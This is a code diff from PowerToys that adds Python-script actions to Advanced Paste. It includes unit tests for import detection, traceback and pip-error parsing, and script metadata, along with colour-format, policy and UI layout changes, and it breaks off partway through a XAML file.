[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Locations.JunctionNativeMethods.#InternalGetTarget(Microsoft.Win32.SafeHandles.SafeFileHandle)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "Microsoft.Templates.Locations.JunctionNativeMethods.ThrowLastWin32Error(System.String)", Scope = "member", Target = "Microsoft.Templates.Locations.JunctionNativeMethods.#OpenReparsePoint(System.String,Microsoft.Templates.Locations.JunctionNativeMethods+EFileAccess)", Justification = "Only used for local generation")]
[assembly: SuppressMessage("Microsoft.Globalization", "CA1303:Do not pass literals as localized parameters", MessageId = "System.Windows.Documents.InlineCollection.Add(System.String)", Scope = "member", Target = "Microsoft.Templates.UI.Extensions.TextBlockExtensions.#OnSequentialFlowStepChanged(System.Windows.DependencyObject,System.Windows.DependencyPropertyChangedEventArgs)", Justification = "No text here")]
[assembly: SuppressMessage("Globalization", "CA1309:Use ordinal string comparison", Justification = "The user's search term should be compared with culture based rules.", Scope = "type", Target = "~T:Microsoft.PowerToys.Run.Plugin.TimeDate.Components.SearchController")]

View File

@@ -515,8 +515,7 @@ namespace ManagedCommon
return lightnessL.ToString(CultureInfo.InvariantCulture);
case "Lc":
var (lightnessC, _, _) = ConvertToCIELABColor(color);
lightnessC = Math.Round(lightnessC, 2);
return lightnessC.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(lightnessC, paramFormat, 2);
case "Lo":
var (lightnessO, _, _) = ConvertToOklabColor(color);
lightnessO = Math.Round(lightnessO, 2);
@@ -531,12 +530,10 @@ namespace ManagedCommon
return blackness.ToString(CultureInfo.InvariantCulture);
case "Ca":
var (_, chromaticityA, _) = ConvertToCIELABColor(color);
chromaticityA = Math.Round(chromaticityA, 2);
return chromaticityA.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityA, paramFormat, 2);
case "Cb":
var (_, _, chromaticityB) = ConvertToCIELABColor(color);
chromaticityB = Math.Round(chromaticityB, 2);
return chromaticityB.ToString(CultureInfo.InvariantCulture);
return ColorPercentFormatted(chromaticityB, paramFormat, 2);
case "Oa":
var (_, chromaticityAOklab, _) = ConvertToOklabColor(color);
chromaticityAOklab = Math.Round(chromaticityAOklab, 2);
@@ -595,6 +592,24 @@ namespace ManagedCommon
}
}
private static string ColorPercentFormatted(double colorPercentValue, char paramFormat, int defaultDecimalDigits)
{
switch (paramFormat)
{
case 'i':
double roundedColorPercentValue = Math.Round(colorPercentValue);
if (roundedColorPercentValue == 0)
{
// convert -0 to 0
roundedColorPercentValue = 0.0;
}
return roundedColorPercentValue.ToString(CultureInfo.InvariantCulture);
default:
return Math.Round(colorPercentValue, defaultDecimalDigits).ToString(CultureInfo.InvariantCulture);
}
}
public static string GetDefaultFormat(string formatName)
{
switch (formatName)

View File

@@ -149,6 +149,7 @@
<decimal value="0" />
</disabledValue>
</policy>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<policy name="ConfigureEnabledUtilityPowerDisplay" class="Both" displayName="$(string.ConfigureEnabledUtilityPowerDisplay)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityPowerDisplay">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_95_0" />
@@ -159,6 +160,7 @@
<decimal value="0" />
</disabledValue>
</policy>
-->
<policy name="ConfigureEnabledUtilityEnvironmentVariables" class="Both" displayName="$(string.ConfigureEnabledUtilityEnvironmentVariables)" explainText="$(string.ConfigureEnabledUtilityDescription)" key="Software\Policies\PowerToys" valueName="ConfigureEnabledUtilityEnvironmentVariables">
<parentCategory ref="PowerToys" />
<supportedOn ref="SUPPORTED_POWERTOYS_0_75_0" />

View File

@@ -248,7 +248,7 @@ If you don't configure this policy, the user will be able to control the setting
<string id="ConfigureEnabledUtilityCmdPal">CmdPal: Configure enabled state</string>
<string id="ConfigureEnabledUtilityCropAndLock">Crop And Lock: Configure enabled state</string>
<string id="ConfigureEnabledUtilityLightSwitch">Light Switch: Configure enabled state</string>
<string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string>
<!-- <string id="ConfigureEnabledUtilityPowerDisplay">PowerDisplay: Configure enabled state</string> --><!-- TEMPORARILY_DISABLED: PowerDisplay -->
<string id="ConfigureEnabledUtilityEnvironmentVariables">Environment Variables: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFancyZones">FancyZones: Configure enabled state</string>
<string id="ConfigureEnabledUtilityFileLocksmith">File Locksmith: Configure enabled state</string>

View File

@@ -57,6 +57,22 @@ internal sealed class IntegrationTestUserSettings : IUserSettings
public PasteAIConfiguration PasteAIConfiguration => _configuration;
public IReadOnlyList<AdvancedPastePythonScriptAction> PythonScriptActions => Array.Empty<AdvancedPastePythonScriptAction>();
public string PythonScriptsFolder => string.Empty;
public string PythonExecutablePath => string.Empty;
public bool PythonUseWsl => false;
public string PythonWslDistribution => string.Empty;
public int PythonScriptTimeoutSeconds => 30;
public bool IsPythonScriptsEnabled => true;
public IReadOnlyDictionary<string, string> TrustedScriptHashes => new Dictionary<string, string>();
public event EventHandler Changed;
public Task SetActiveAIProviderAsync(string providerId)
@@ -65,4 +81,8 @@ internal sealed class IntegrationTestUserSettings : IUserSettings
Changed?.Invoke(this, EventArgs.Empty);
return Task.CompletedTask;
}
public void StoreTrustedScriptHash(string scriptPath, string hash)
{
}
}

View File

@@ -0,0 +1,560 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using AdvancedPaste.Helpers;
using AdvancedPaste.Services.PythonScripts;
using AdvancedPaste.UnitTests.Mocks;
using Microsoft.VisualStudio.TestTools.UnitTesting;
namespace AdvancedPaste.UnitTests.ServicesTests;
[TestClass]
public sealed class PythonScriptServiceTests
{
private PythonScriptService _service;
[TestInitialize]
public void Setup()
{
_service = new PythonScriptService(new IntegrationTestUserSettings());
}
[TestMethod]
public void MergeWithAutoDetectedImports_DetectsSimpleImports()
{
var lines = new[]
{
"# @advancedpaste:name test",
"import requests",
"import numpy",
"import os",
"import sys",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count); // requests + numpy; os and sys are stdlib
Assert.IsTrue(result.Any(r => r.ImportName == "requests" && r.PipPackage == "requests"));
Assert.IsTrue(result.Any(r => r.ImportName == "numpy" && r.PipPackage == "numpy"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_DetectsFromImports()
{
var lines = new[]
{
"from PIL import Image",
"from markitdown import MarkItDown",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "PIL" && r.PipPackage == "Pillow"));
Assert.IsTrue(result.Any(r => r.ImportName == "markitdown" && r.PipPackage == "markitdown"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_WellKnownMappings()
{
var lines = new[]
{
"import cv2",
"import win32clipboard",
"import yaml",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(3, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "cv2" && r.PipPackage == "opencv-python"));
Assert.IsTrue(result.Any(r => r.ImportName == "win32clipboard" && r.PipPackage == "pywin32"));
Assert.IsTrue(result.Any(r => r.ImportName == "yaml" && r.PipPackage == "PyYAML"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_ExplicitRequirementsTakePrecedence()
{
var lines = new[]
{
"import cv2",
"import requests",
};
var explicitReqs = new List<PythonRequirement>
{
new("cv2", "opencv-python-headless"),
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, explicitReqs);
Assert.AreEqual(2, result.Count);
// cv2 should use the explicit pip package name, not the well-known mapping
var cv2Req = result.First(r => r.ImportName == "cv2");
Assert.AreEqual("opencv-python-headless", cv2Req.PipPackage);
// requests should be auto-detected
Assert.IsTrue(result.Any(r => r.ImportName == "requests"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_SkipsStdlib()
{
var lines = new[]
{
"import os",
"import sys",
"import json",
"import io",
"import pathlib",
"import tempfile",
"import subprocess",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(0, result.Count);
}
[TestMethod]
public void MergeWithAutoDetectedImports_SkipsComments()
{
var lines = new[]
{
"# import requests",
"# from PIL import Image",
"import json",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(0, result.Count);
}
[TestMethod]
public void MergeWithAutoDetectedImports_HandlesMultipleImportsOnOneLine()
{
var lines = new[]
{
"import requests, numpy, pandas",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(3, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "requests"));
Assert.IsTrue(result.Any(r => r.ImportName == "numpy"));
Assert.IsTrue(result.Any(r => r.ImportName == "pandas"));
}
[TestMethod]
public void MergeWithAutoDetectedImports_HandlesSubmoduleImport()
{
var lines = new[]
{
"import win32com.client",
"from llama_cpp import Llama",
};
var result = PythonScriptService.MergeWithAutoDetectedImports(lines, []);
Assert.AreEqual(2, result.Count);
Assert.IsTrue(result.Any(r => r.ImportName == "win32com" && r.PipPackage == "pywin32"));
Assert.IsTrue(result.Any(r => r.ImportName == "llama_cpp" && r.PipPackage == "llama-cpp-python"));
}
[TestMethod]
public void ParsePythonError_ModuleNotFoundError()
{
var stderr = """
Traceback (most recent call last):
File "C:\scripts\reverse.py", line 4, in <module>
import win32clipboard
ModuleNotFoundError: No module named 'win32clipboard'
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("reverse.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 4"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("win32clipboard"), $"Summary should mention the module: {summary}");
Assert.IsTrue(summary.Contains("pywin32"), $"Summary should suggest pip package: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_SyntaxError()
{
var stderr = """
File "test.py", line 5
def foo(
^
SyntaxError: unexpected EOF while parsing
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("test.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 5"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("Python syntax error:"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_SyntaxErrorWithColumn()
{
var stderr = " File \"script.py\", line 3\n x = (1 +\n ^\nSyntaxError: '(' was never closed\n";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("script.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 3"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("col"), $"Summary should mention the column: {summary}");
Assert.IsTrue(summary.Contains("Python syntax error:"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_GenericError()
{
var stderr = """
Traceback (most recent call last):
File "test.py", line 10, in <module>
result = 1 / 0
ZeroDivisionError: division by zero
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("test.py"), $"Summary should mention the script: {summary}");
Assert.IsTrue(summary.Contains("line 10"), $"Summary should mention the line: {summary}");
Assert.IsTrue(summary.Contains("ZeroDivisionError"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(details));
}
[TestMethod]
public void ParsePythonError_NestedTraceback_ShowsLastFrame()
{
var stderr = """
Traceback (most recent call last):
File "main.py", line 5, in <module>
helper()
File "helper.py", line 12, in helper
do_work()
File "worker.py", line 8, in do_work
raise RuntimeError("bad state")
RuntimeError: bad state
""";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
Assert.IsTrue(summary.Contains("worker.py"), $"Summary should mention the last script in the chain: {summary}");
Assert.IsTrue(summary.Contains("line 8"), $"Summary should mention the line of the last frame: {summary}");
Assert.IsTrue(summary.Contains("bad state"), $"Summary should contain the error message: {summary}");
}
[TestMethod]
public void ParsePythonError_EmptyStderr()
{
var (summary, details) = PythonScriptService.ParsePythonError(string.Empty);
Assert.IsTrue(!string.IsNullOrEmpty(summary));
Assert.AreEqual(string.Empty, details);
}
[TestMethod]
public void ParsePythonError_NoTraceback_PlainStderr()
{
var stderr = "Something went wrong in the script\n";
var (summary, details) = PythonScriptService.ParsePythonError(stderr);
// No File "..." reference, so no location — just the message
Assert.IsTrue(summary.Contains("Something went wrong"), $"Summary: {summary}");
Assert.IsFalse(summary.Contains("line"), $"Summary should not contain 'line' without a traceback: {summary}");
}
[TestMethod]
public void ExtractLastTracebackLocation_BasicTraceback()
{
var lines = new[]
{
"Traceback (most recent call last):",
" File \"script.py\", line 10, in <module>",
" result = 1 / 0",
"ZeroDivisionError: division by zero",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("script.py", location.Value.FileName);
Assert.AreEqual(10, location.Value.Line);
Assert.IsNull(location.Value.Column);
}
[TestMethod]
public void ExtractLastTracebackLocation_WithCaret()
{
var lines = new[]
{
" File \"test.py\", line 5",
" def foo(",
" ^",
"SyntaxError: unexpected EOF while parsing",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("test.py", location.Value.FileName);
Assert.AreEqual(5, location.Value.Line);
Assert.IsNotNull(location.Value.Column);
}
[TestMethod]
public void ExtractLastTracebackLocation_FullPath_ReturnsBasename()
{
var lines = new[]
{
"Traceback (most recent call last):",
" File \"C:\\Users\\user\\scripts\\my_script.py\", line 42, in <module>",
" some_call()",
"ValueError: invalid value",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNotNull(location);
Assert.AreEqual("my_script.py", location.Value.FileName);
Assert.AreEqual(42, location.Value.Line);
}
[TestMethod]
public void ExtractLastTracebackLocation_NoFileLine_ReturnsNull()
{
var lines = new[]
{
"Some random error output",
"No traceback here",
};
var location = PythonScriptService.ExtractLastTracebackLocation(lines);
Assert.IsNull(location);
}
[TestMethod]
public void ParsePipInstallError_ExtractsErrorLine()
{
var stderr = """
Collecting some-package
Downloading some-package-1.0.tar.gz (15 kB)
ERROR: Could not find a version that satisfies the requirement some-package (from versions: none)
ERROR: No matching distribution found for some-package
""";
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(stderr);
Assert.IsTrue(summary.Contains("No matching distribution"), $"Summary should contain the last ERROR line: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(fullStderr));
}
[TestMethod]
public void ParsePipInstallError_NoErrorPrefix_UsesLastLine()
{
var stderr = "permission denied: /usr/lib/python3/dist-packages\n";
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(stderr);
Assert.IsTrue(summary.Contains("permission denied"), $"Summary: {summary}");
Assert.IsTrue(!string.IsNullOrEmpty(fullStderr));
}
[TestMethod]
public void ParsePipInstallError_EmptyStderr()
{
var (summary, fullStderr) = PythonScriptService.ParsePipInstallError(string.Empty);
Assert.AreEqual("unknown error", summary);
Assert.AreEqual(string.Empty, fullStderr);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Text()
{
// The new interface uses function names like advanced_paste_from_text_to_text(...)
// to determine supported formats, not parameter signatures.
var scriptPath = CreateTempScript("def advanced_paste_from_text_to_text(text):\n return text.upper()\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Text, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Html()
{
var scriptPath = CreateTempScript("def advanced_paste_from_html_to_text(html: str) -> str:\n return html\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Html, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Image()
{
var scriptPath = CreateTempScript("def advanced_paste_from_image_to_text(image_path):\n return 'desc'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Image, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Files()
{
var scriptPath = CreateTempScript("def advanced_paste_from_files_to_text(file_paths):\n return ''\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.File, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_OutputTypeHint_Image()
{
var scriptPath = CreateTempScript("def advanced_paste_from_text_to_image(text):\n return '/path/img.png'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual("image", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_OutputTypeHint_File()
{
var scriptPath = CreateTempScript("def advanced_paste_from_text_to_file(text):\n return '/path/out.txt'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual("file", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_OutputTypeHint_Files()
{
var scriptPath = CreateTempScript("def advanced_paste_from_files_to_files(file_paths):\n return file_paths\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual("files", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_RejectsMultipleFunctions()
{
var scriptPath = CreateTempScript(
"def advanced_paste_from_text_to_text(text):\n return text\n\n" +
"def advanced_paste_from_html_to_text(html):\n return html\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNull(metadata);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_RejectsNoFunction()
{
var scriptPath = CreateTempScript("def some_other_function(text):\n return text\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNull(metadata);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_RejectsOldFormatWithoutTo()
{
// Old format (advanced_paste_from_text without _to_) should be rejected.
var scriptPath = CreateTempScript("def advanced_paste_from_text(text):\n return text\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNull(metadata);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Audio()
{
var scriptPath = CreateTempScript("def advanced_paste_from_audio_to_text(audio_path):\n return 'transcribed'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Audio, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_FunctionNameDeterminesFormat_Video()
{
var scriptPath = CreateTempScript("def advanced_paste_from_video_to_text(video_path):\n return 'description'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Video, metadata.SupportedFormats);
Assert.AreEqual("text", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_OutputTypeHint_Audio()
{
var scriptPath = CreateTempScript("def advanced_paste_from_text_to_audio(text):\n return '/path/out.mp3'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Text, metadata.SupportedFormats);
Assert.AreEqual("audio", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
[TestMethod]
public void ReadMetadata_OutputTypeHint_Video()
{
var scriptPath = CreateTempScript("def advanced_paste_from_text_to_video(text):\n return '/path/out.mp4'\n");
var metadata = _service.ReadMetadata(scriptPath);
Assert.IsNotNull(metadata);
Assert.AreEqual(Models.ClipboardFormat.Text, metadata.SupportedFormats);
Assert.AreEqual("video", metadata.OutputTypeHint);
File.Delete(scriptPath);
}
private static string CreateTempScript(string content)
{
var path = Path.Combine(Path.GetTempPath(), $"test_script_{Guid.NewGuid():N}.py");
File.WriteAllText(path, content);
return path;
}
}

View File

@@ -155,5 +155,9 @@
<Content Include="Assets\AdvancedPaste\SemanticKernel.svg">
<CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
</Content>
<Content Include="Services\PythonScripts\_runner.py">
<CopyToOutputDirectory>PreserveNewest</CopyToOutputDirectory>
</Content>
</ItemGroup>
</Project>

View File

@@ -14,6 +14,7 @@ using AdvancedPaste.Helpers;
using AdvancedPaste.Models;
using AdvancedPaste.Services;
using AdvancedPaste.Services.CustomActions;
using AdvancedPaste.Services.PythonScripts;
using AdvancedPaste.Settings;
using AdvancedPaste.ViewModels;
using ManagedCommon;
@@ -83,6 +84,8 @@ namespace AdvancedPaste
services.AddSingleton<IPasteAIProviderFactory, PasteAIProviderFactory>();
services.AddSingleton<ICustomActionTransformService, CustomActionTransformService>();
services.AddSingleton<IKernelService, AdvancedAIKernelService>();
services.AddSingleton<IPythonScriptService, PythonScriptService>();
services.AddSingleton<IPythonScriptTrustService, PythonScriptTrustService>();
services.AddSingleton<IPasteFormatExecutor, PasteFormatExecutor>();
services.AddSingleton<OptionsViewModel>();
}).Build();

View File

@@ -755,63 +755,7 @@
<animations:OpacityAnimation To="0.0" Duration="0:0:0.167" />
</animations:Implicit.HideAnimations>
</TextBlock>
<Grid
x:Name="ErrorMessageGrid"
x:Uid="ErrorMessageGrid"
Grid.Row="1"
Margin="8,8,0,0"
ColumnSpacing="8"
Visibility="Collapsed">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="*" />
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0" Orientation="Horizontal">
<ToolTipService.ToolTip>
<ToolTip VerticalOffset="-105" Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}">
<StackPanel
MinWidth="300"
HorizontalAlignment="Stretch"
Orientation="Vertical">
<TextBox
x:Name="AIErrorMessage"
x:Uid="AIErrorMessage"
FontSize="12"
IsReadOnly="True"
Text="{x:Bind ViewModel.PasteActionError.Details, Mode=OneWay}"
TextWrapping="Wrap" />
</StackPanel>
</ToolTip>
</ToolTipService.ToolTip>
<FontIcon
Margin="0,3,3,0"
VerticalAlignment="Top"
FontSize="12"
Foreground="{ThemeResource AccentTextFillColorPrimaryBrush}"
Glyph="&#xE946;"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<TextBlock
FontWeight="SemiBold"
Foreground="{ThemeResource SystemFillColorCriticalBrush}"
Style="{StaticResource CaptionTextBlockStyle}"
Text="{x:Bind ViewModel.PasteActionError.Text, Mode=OneWay}" />
</StackPanel>
<HyperlinkButton
x:Uid="SettingsBtn"
Grid.Column="1"
Margin="0,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Command="{x:Bind ViewModel.OpenSettingsCommand}"
FontSize="12" />
<animations:Implicit.ShowAnimations>
<animations:OpacityAnimation To="1.0" Duration="0:0:0.6" />
</animations:Implicit.ShowAnimations>
<animations:Implicit.HideAnimations>
<animations:OpacityAnimation To="0.0" Duration="0:0:0.167" />
</animations:Implicit.HideAnimations>
</Grid>
<!-- Error message grid moved to MainPage.xaml so it remains enabled when PromptBox is disabled -->
<VisualStateManager.VisualStateGroups>
<VisualStateGroup x:Name="CommonStates">
<VisualState x:Name="DefaultState" />
@@ -832,7 +776,6 @@
<VisualState.Setters>
<Setter Target="InputTxtBox.BorderBrush" Value="{ThemeResource SystemFillColorCriticalBrush}" />
<Setter Target="DisclaimerPresenter.Visibility" Value="Collapsed" />
<Setter Target="ErrorMessageGrid.Visibility" Value="Visible" />
</VisualState.Setters>
</VisualState>
</VisualStateGroup>

View File

@@ -43,7 +43,8 @@ namespace AdvancedPaste
double GetHeight(int maxCustomActionCount) =>
baseHeight +
new PasteFormatsToHeightConverter().GetHeight(coreActionCount + _userSettings.AdditionalActions.Count) +
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.IsCustomAIServiceEnabled ? _userSettings.CustomActions.Count : 0);
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.IsCustomAIServiceEnabled ? _userSettings.CustomActions.Count : 0) +
new PasteFormatsToHeightConverter() { MaxItems = maxCustomActionCount }.GetHeight(_optionsViewModel.PythonScriptPasteFormats.Count);
MinHeight = GetHeight(1);
Height = GetHeight(5);
@@ -59,6 +60,7 @@ namespace AdvancedPaste
UpdateHeight();
}
};
_optionsViewModel.PythonScriptPasteFormats.CollectionChanged += (_, _) => UpdateHeight();
AppWindow.SetIcon("Assets/AdvancedPaste/AdvancedPaste.ico");
this.ExtendsContentIntoTitleBar = true;
@@ -141,11 +143,7 @@ namespace AdvancedPaste
internal void FinishLoading(bool success)
{
MainPage.CustomFormatTextBox.IsLoading(false);
if (success)
{
VisualStateManager.GoToState(MainPage.CustomFormatTextBox, "DefaultState", true);
}
VisualStateManager.GoToState(MainPage.CustomFormatTextBox, "DefaultState", true);
}
}
}

View File

@@ -144,6 +144,7 @@
</Page.KeyboardAccelerators>
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" />
@@ -250,10 +251,12 @@
Grid.Row="1"
Margin="20,0,20,0"
x:FieldModifier="public"
IsEnabled="{x:Bind ViewModel.IsCustomAIServiceEnabled, Mode=OneWay}"
IsEnabled="True"
TabIndex="0">
<controls:PromptBox.Footer>
<StackPanel Orientation="Horizontal">
<StackPanel
Orientation="Horizontal"
Visibility="{x:Bind ViewModel.IsCustomAIServiceEnabled, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}">
<TextBlock
x:Uid="AIMistakeNote"
Margin="0,0,2,0"
@@ -299,19 +302,70 @@
</StackPanel>
</controls:PromptBox.Footer>
</controls:PromptBox>
<ScrollViewer Grid.Row="2">
<Grid
x:Name="ErrorMessageGrid"
Grid.Row="2"
Margin="20,4,20,0"
ColumnSpacing="8"
Visibility="{x:Bind ViewModel.PasteActionError.HasText, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="*" />
<ColumnDefinition Width="Auto" />
<ColumnDefinition Width="Auto" />
</Grid.ColumnDefinitions>
<FontIcon
Grid.Column="0"
Margin="0,3,3,0"
VerticalAlignment="Top"
FontSize="12"
Foreground="{ThemeResource AccentTextFillColorPrimaryBrush}"
Glyph="&#xE946;"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<TextBlock
Grid.Column="1"
FontWeight="SemiBold"
Foreground="{ThemeResource SystemFillColorCriticalBrush}"
Style="{StaticResource CaptionTextBlockStyle}"
MaxLines="2"
TextTrimming="CharacterEllipsis"
TextWrapping="Wrap"
Text="{x:Bind ViewModel.PasteActionError.Text, Mode=OneWay}" />
<HyperlinkButton
x:Name="ShowErrorDetailsBtn"
x:Uid="ShowErrorDetailsBtn"
Grid.Column="2"
Margin="4,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Click="ShowErrorDetailsBtn_Click"
FontSize="12"
Visibility="{x:Bind ViewModel.PasteActionError.HasDetails, Mode=OneWay, Converter={StaticResource BoolToVisibilityConverter}}" />
<HyperlinkButton
x:Uid="SettingsBtn"
Grid.Column="3"
Margin="0,-1,0,0"
Padding="0"
HorizontalAlignment="Left"
VerticalAlignment="Top"
Command="{x:Bind ViewModel.OpenSettingsCommand}"
FontSize="12" />
</Grid>
<ScrollViewer Grid.Row="3">
<Grid RowSpacing="4">
<Grid.RowDefinitions>
<RowDefinition Height="{x:Bind ViewModel.StandardPasteFormats.Count, Mode=OneWay, Converter={StaticResource standardPasteFormatsToHeightConverter}}" />
<RowDefinition Height="Auto" />
<RowDefinition Height="*" MinHeight="{x:Bind ViewModel.CustomActionPasteFormats.Count, Mode=OneWay, Converter={StaticResource customActionsToMinHeightConverter}}" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
<RowDefinition Height="Auto" />
</Grid.RowDefinitions>
<ListView
x:Name="PasteOptionsListView"
Grid.Row="0"
VerticalAlignment="Bottom"
IsItemClickEnabled="True"
ItemClick="PasteFormat_ItemClick"
ItemContainerTransitions="{x:Null}"
@@ -341,6 +395,27 @@
ScrollViewer.VerticalScrollMode="Disabled"
SelectionMode="None"
TabIndex="2" />
<Rectangle
Grid.Row="3"
Height="1"
HorizontalAlignment="Stretch"
